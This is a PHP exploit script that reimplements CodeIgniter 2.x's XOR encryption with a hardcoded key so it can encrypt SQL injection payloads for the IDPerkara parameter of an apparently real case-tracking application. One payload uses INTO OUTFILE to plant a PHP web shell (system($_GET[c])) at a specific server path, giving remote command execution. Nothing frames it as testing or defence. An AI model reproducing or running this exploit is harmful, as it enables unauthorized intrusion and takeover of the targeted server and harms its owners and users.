<?php
// CodeIgniter 2.x encryption with known key
// Uses XOR cipher with MD5/SHA1 based key derivation

class CI_Encrypt {
    var $encryption_key = '';
    
    function __construct($key) {
        $this->encryption_key = $key;
    }
    
    function encode($string) {
        $key = md5($this->encryption_key);
        $enc = $this->_xor_encode($string, $key);
        return base64_encode($enc);
    }
    
    function _xor_encode($string, $key) {
        $rand = '';
        while (strlen($rand) < 32) {
            $rand .= mt_rand(0, mt_getrandmax());
        }
        $rand = md5($rand);
        
        $enc = '';
        for ($i = 0; $i < strlen($string); $i++) {
            $enc .= substr($rand, ($i % strlen($rand)), 1).(substr($rand, ($i % strlen($rand)), 1) ^ substr($string, $i, 1));
        }
        
        return $this->_xor_merge($enc, $key);
    }
    
    function _xor_merge($string, $key) {
        $hash = md5($key);
        $str = '';
        for ($i = 0; $i < strlen($string); $i++) {
            $str .= substr($string, $i, 1) ^ substr($hash, ($i % strlen($hash)), 1);
        }
        return $str;
    }
}

$key = 'jsadjas^&**&@kl;lijiash';
$cipher = new CI_Encrypt($key);

// SQL injection payload for RCE via INTO OUTFILE
// This will be used as $idperkara in: SELECT * FROM perkaraputusanweb WHERE IDPerkara=PAYLOAD;
$payloads = array(
    "1; SELECT 1 INTO OUTFILE '/tmp/test.txt'--",
    "1 UNION SELECT '<?php system($_GET[c]);?>',2,3,4,5 INTO OUTFILE '/home/mslb9924/public_html/sipp/x.php'--"
);

foreach($payloads as $payload) {
    $encrypted = $cipher->encode($payload);
    $final = base64_encode($encrypted);
    echo "Payload: $payload\n";
    echo "Encoded: $final\n\n";
}
?>